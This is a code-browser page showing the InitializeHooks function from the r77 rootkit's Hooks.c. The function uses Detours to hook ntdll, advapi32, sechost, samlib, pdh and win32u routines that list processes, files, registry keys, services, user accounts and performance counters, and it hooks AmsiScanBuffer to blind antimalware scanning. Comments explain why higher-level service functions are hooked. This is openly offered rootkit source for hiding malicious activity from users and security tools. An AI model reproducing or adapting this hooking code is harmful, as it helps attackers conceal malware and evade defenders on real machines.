MCPcopy Create free account
hub / github.com/bytecode77/r77-rootkit / InitializeHooks

Function InitializeHooks

r77/Hooks.c:42–83  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

40static DWORD TlsNtEnumerateValueKeyCacheCorrectedIndex;
41
42VOID InitializeHooks()
43{
44 DetourTransactionBegin();
45 DetourUpdateThread(GetCurrentThread());
46 InstallHook("ntdll.dll", "NtQuerySystemInformation", (LPVOID*)&OriginalNtQuerySystemInformation, HookedNtQuerySystemInformation);
47 InstallHook("ntdll.dll", "NtResumeThread", (LPVOID*)&OriginalNtResumeThread, HookedNtResumeThread);
48 InstallHook("ntdll.dll", "NtQueryDirectoryFile", (LPVOID*)&OriginalNtQueryDirectoryFile, HookedNtQueryDirectoryFile);
49 InstallHook("ntdll.dll", "NtQueryDirectoryFileEx", (LPVOID*)&OriginalNtQueryDirectoryFileEx, HookedNtQueryDirectoryFileEx);
50 InstallHook("ntdll.dll", "NtQueryKey", (LPVOID*)&OriginalNtQueryKey, HookedNtQueryKey);
51 InstallHook("ntdll.dll", "NtEnumerateKey", (LPVOID*)&OriginalNtEnumerateKey, HookedNtEnumerateKey);
52 InstallHook("ntdll.dll", "NtEnumerateValueKey", (LPVOID*)&OriginalNtEnumerateValueKey, HookedNtEnumerateValueKey);
53 InstallHook("win32u.dll", "NtUserBuildHwndList", (LPVOID*)&OriginalNtUserBuildHwndList, HookedNtUserBuildHwndList);
54 InstallHook("advapi32.dll", "EnumServicesStatusA", (LPVOID*)&OriginalEnumServicesStatusA, HookedEnumServicesStatusA);
55 InstallHook("advapi32.dll", "EnumServicesStatusW", (LPVOID*)&OriginalEnumServicesStatusW, HookedEnumServicesStatusW);
56 InstallHook("advapi32.dll", "EnumServiceGroupW", (LPVOID*)&OriginalEnumServiceGroupW, HookedEnumServiceGroupW);
57 InstallHook("advapi32.dll", "EnumServicesStatusExA", (LPVOID*)&OriginalEnumServicesStatusExA, HookedEnumServicesStatusExA);
58 InstallHook("advapi32.dll", "EnumServicesStatusExW", (LPVOID*)&OriginalEnumServicesStatusExW, HookedEnumServicesStatusExW);
59 InstallHook("sechost.dll", "EnumServicesStatusExW", (LPVOID*)&OriginalEnumServicesStatusExW2, HookedEnumServicesStatusExW2);
60 InstallHook("ntdll.dll", "NtDeviceIoControlFile", (LPVOID*)&OriginalNtDeviceIoControlFile, HookedNtDeviceIoControlFile);
61 InstallHook("samlib.dll", "SamEnumerateUsersInDomain", (LPVOID*)&OriginalSamEnumerateUsersInDomain, HookedSamEnumerateUsersInDomain);
62 InstallHook("samlib.dll", "SamQueryDisplayInformation", (LPVOID*)&OriginalSamQueryDisplayInformation, HookedSamQueryDisplayInformation);
63 InstallHook("pdh.dll", "PdhGetRawCounterArrayW", (LPVOID*)&OriginalPdhGetRawCounterArrayW, HookedPdhGetRawCounterArrayW);
64 InstallHook("pdh.dll", "PdhGetFormattedCounterArrayW", (LPVOID*)&OriginalPdhGetFormattedCounterArrayW, HookedPdhGetFormattedCounterArrayW);
65 InstallHook("amsi.dll", "AmsiScanBuffer", (LPVOID*)&OriginalAmsiScanBuffer, HookedAmsiScanBuffer);
66 DetourTransactionCommit();
67
68 // Usually, ntdll.dll should be the only DLL to hook.
69 // Unfortunately, the actual enumeration of services happens in services.exe - a protected process that cannot be injected.
70 // The EnumService* methods from advapi32.dll access services.exe through RPC.
71 // There is no longer one single syscall wrapper function to hook, but multiple higher level functions.
72
73 // The same applies to a select few other functions as well. HOWEVER: Any function that is exposed in ntdll WILL be hooked there, not in higher level DLLs.
74
75 TlsNtEnumerateKeyCacheKey = TlsAlloc();
76 TlsNtEnumerateKeyCacheIndex = TlsAlloc();
77 TlsNtEnumerateKeyCacheI = TlsAlloc();
78 TlsNtEnumerateKeyCacheCorrectedIndex = TlsAlloc();
79 TlsNtEnumerateValueKeyCacheKey = TlsAlloc();
80 TlsNtEnumerateValueKeyCacheIndex = TlsAlloc();
81 TlsNtEnumerateValueKeyCacheI = TlsAlloc();
82 TlsNtEnumerateValueKeyCacheCorrectedIndex = TlsAlloc();
83}
84VOID UninitializeHooks()
85{
86 DetourTransactionBegin();

Callers 1

InitializeRootkitFunction · 0.85

Calls 1

InstallHookFunction · 0.85

Tested by

no test coverage detected